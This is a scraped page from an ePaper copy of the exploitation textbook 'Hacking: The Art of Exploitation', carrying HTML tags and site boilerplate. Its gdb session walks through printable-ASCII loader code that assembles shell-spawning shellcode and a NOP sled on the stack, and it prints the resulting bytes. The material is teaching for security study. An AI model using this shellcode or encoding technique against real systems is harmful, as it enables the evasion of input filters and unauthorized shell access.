26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

esp 0xbffffa2c 0xbffffa2c<br />

eax 0x0 0<br />

(gdb)<br />

The first nine instructions add 860 to ESP and zero out <strong>the</strong> EAX register.<br />

The next eight instructions push <strong>the</strong> last eight bytes <strong>of</strong> <strong>the</strong> shellcode to <strong>the</strong><br />

stack in four-byte chunks. This process is repeated in <strong>the</strong> next 32 instructions<br />

to build <strong>the</strong> entire shellcode on <strong>the</strong> stack.<br />

(gdb) x/8i $eip<br />

0xbffff91a: sub eax,0x346d6d25<br />

0xbffff91f: sub eax,0x256d6d25<br />

0xbffff924: sub eax,0x2557442d<br />

0xbffff929: push eax<br />

0xbffff92a: sub eax,0x59316659<br />

0xbffff92f: sub eax,0x59667766<br />

0xbffff934: sub eax,0x7a537a79<br />

0xbffff939: push eax<br />

(gdb) stepi 8<br />

0xbffff93a in ?? ()<br />

(gdb) x/4x $esp<br />

0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000<br />

(gdb) stepi 32<br />

0xbffff9ba in ?? ()<br />

(gdb) x/5i $eip<br />

0xbffff9ba: push eax<br />

0xbffff9bb: push eax<br />

0xbffff9bc: push eax<br />

0xbffff9bd: push eax<br />

0xbffff9be: push eax<br />

(gdb) x/16x $esp<br />

0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0<br />

0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69<br />

0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000<br />

0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000<br />

(gdb) i r eip esp eax<br />

eip 0xbffff9ba 0xbffff9ba<br />

esp 0xbffffa04 0xbffffa04<br />

eax 0x90909090 -1869574000<br />

(gdb)<br />

Now with <strong>the</strong> shellcode completely constructed on <strong>the</strong> stack, EAX is set<br />

to 0x90909090. This is pushed to <strong>the</strong> stack repeatedly to build a NOP sled to<br />

bridge <strong>the</strong> gap between <strong>the</strong> end <strong>of</strong> <strong>the</strong> loader code and <strong>the</strong> newly constructed<br />

shellcode.<br />

(gdb) x/24x 0xbffff9ba<br />

0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050<br />

0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000<br />

0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000<br />

0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000<br />

0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090<br />

0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158<br />

Countermeasures 375

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!